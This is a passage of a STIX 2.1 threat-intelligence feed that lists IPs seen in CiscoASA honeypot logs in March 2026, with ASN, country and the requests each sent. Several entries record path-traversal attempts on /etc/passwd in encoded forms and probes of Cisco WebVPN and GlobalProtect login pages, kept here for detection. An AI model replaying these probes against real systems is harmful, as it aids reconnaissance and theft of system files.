      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-02T02:43:11.192Z",
          "last_seen": "2026-03-02T02:43:26.950Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--77ccc73a-6210-4fec-8751-73d93742f2d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T02:41:28.866Z",
          "last_seen": "2026-03-02T02:41:28.866Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1323abcc-0536-48c9-8f68-64ac373365f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T03:20:06.000Z",
      "valid_until": "2026-04-03T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T02:43:01.056Z",
          "last_seen": "2026-03-02T02:43:01.056Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 - geo: US; ASN 27176 (DataWagon LLC)",
      "id": "indicator--5bbb6653-ace2-4952-8231-0abe20df5e08",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.192.2.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:20:02.000Z",
      "valid_until": "2026-04-03T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-02T03:54:14.726Z",
          "last_seen": "2026-03-02T03:54:16.470Z",
          "country": "United States",
          "country_code": "US",
          "asn": 27176,
          "as_org": "DataWagon LLC",
          "event_types": [
            "\"GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1\" 404 -",
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1\" 404 -",
            "\"GET //etc/passwd HTTP/1.1\" 404 -",
            "\"GET /etc/passwd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: CONNECT /CSCOSSLC/tunnel HTTP/1.1\" - - geo: PA; ASN 43350 (NForce Entertainment B.V.)",
      "id": "indicator--1638756e-978a-4e34-b1e1-8b54dee2064a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.80.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T04:20:02.000Z",
      "valid_until": "2026-04-03T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-02T03:57:26.341Z",
          "last_seen": "2026-03-02T03:57:45.273Z",
          "country": "Panama",
          "country_code": "PA",
          "asn": 43350,
          "as_org": "NForce Entertainment B.V.",
          "event_types": [
            "\"CONNECT /CSCOSSLC/tunnel HTTP/1.1\" - -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /CSCOSSLC/tunnel HTTP/1.1\" 404 -",
            "\"POST /global-protect/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows HTTP/1.1\" 200 -",
            "\"POST /ssl-vpn/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T05:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--8808d3b5-7c96-406e-8f9a-7c4dc5e46f65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:20:12.000Z",
      "valid_until": "2026-04-03T05:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T04:42:40.619Z",
          "last_seen": "2026-03-02T04:42:43.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T05:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 51396 (Pfcloud UG (haftungsbeschrankt))",
      "id": "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T05:20:12.000Z",
      "valid_until": "2026-04-03T05:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-02T04:22:39.718Z",
          "last_seen": "2026-03-29T13:15:34.793Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 51396,
          "as_org": "Pfcloud UG (haftungsbeschrankt)",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -",
            "\"GET /..%5C..%5C..%5C..%5C..%5C..%5Cetc%5Cpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T06:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--d7d5433c-f24b-44e7-9f25-dc8a04ded954",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T06:20:07.000Z",
      "valid_until": "2026-04-03T06:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-02T05:59:12.726Z",
          "last_seen": "2026-03-02T06:00:39.849Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T09:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST / HTTP/1.1\" 302 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--dc93b1fd-9e55-49c3-a32d-1cbe5d6a138b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.236.31.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T09:20:12.000Z",
      "valid_until": "2026-04-03T09:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-02T09:17:10.314Z",
          "last_seen": "2026-03-02T09:17:12.927Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"POST / HTTP/1.1\" 302 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--14009342-e46b-4b98-9b53-3b17d90a3d36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '1.83.125.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:20:13.000Z",
      "valid_until": "2026-04-03T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T09:34:06.600Z",
          "last_seen": "2026-03-02T09:34:06.600Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--c24c96d3-1995-47f4-a6f0-760b969dae0c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.245.84.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:20:13.000Z",
      "valid_until": "2026-04-03T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T09:32:52.638Z",
          "last_seen": "2026-03-02T09:32:55.641Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--e64b0dd2-331a-4c9b-be8f-a3a7ed9a911c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '144.123.77.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:20:13.000Z",
      "valid_until": "2026-04-03T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T09:34:09.971Z",
          "last_seen": "2026-03-02T09:34:09.971Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CN; ASN 56047 (China Mobile communications corporation)",
      "id": "indicator--84f85f91-858d-4e4b-a38f-fcf649534a37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.215.74.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:20:13.000Z",
      "valid_until": "2026-04-03T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T09:34:08.559Z",
          "last_seen": "2026-03-02T09:34:08.559Z",
          "country": "China",
          "country_code": "CN",
          "asn": 56047,
          "as_org": "China Mobile communications corporation",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--a84ed5e5-f535-4823-9c23-615d6667c355",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '220.197.78.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:20:13.000Z",
      "valid_until": "2026-04-03T10:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T09:34:02.862Z",
          "last_seen": "2026-03-02T09:34:02.862Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T12:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--9ab3333a-4b7f-4246-bca2-e95bfa03400f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:20:12.000Z",
      "valid_until": "2026-04-03T12:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-02T11:43:03.610Z",
          "last_seen": "2026-03-02T11:43:19.831Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T12:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--7baa5176-c9f3-4a40-89d6-8bbabcf1a4fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:20:12.000Z",
      "valid_until": "2026-04-03T12:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-02T12:03:19.109Z",
          "last_seen": "2026-03-02T12:03:28.017Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T13:20:12.000Z",
      "valid_until": "2026-04-03T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-02T12:25:04.794Z",
          "last_seen": "2026-03-23T16:14:58.147Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T14:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--5a808743-fe60-4918-8e87-94505dd1656b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T14:20:03.000Z",
      "valid_until": "2026-04-03T14:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-02T13:35:49.466Z",
          "last_seen": "2026-03-25T05:26:05.100Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /login/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 396982 (Google LLC)",
      "id": "indicator--aebf13fc-03d6-4f7a-9126-072871441bed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.143.206.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T16:20:13.000Z",
      "valid_until": "2026-04-03T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-02T15:46:11.863Z",
          "last_seen": "2026-03-02T15:46:15.023Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1\" 404 - geo: ID; ASN 138131 (CV. NATANETWORK SOLUTION)",
      "id": "indicator--b47f5304-57a4-460a-896c-719b22c56291",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.15.77.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:20:03.000Z",
      "valid_until": "2026-04-03T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-02T18:02:19.878Z",
          "last_seen": "2026-03-02T18:02:19.878Z",
          "country": "Indonesia",
          "country_code": "ID",
          "asn": 138131,
          "as_org": "CV. NATANETWORK SOLUTION",
          "event_types": [
            "\"GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T18:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--d9617e34-5827-44f4-8aa1-75cead576862",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:20:03.000Z",
      "valid_until": "2026-04-03T18:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-02T17:24:01.921Z",
          "last_seen": "2026-03-02T17:24:19.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-02T19:20:13.000Z",
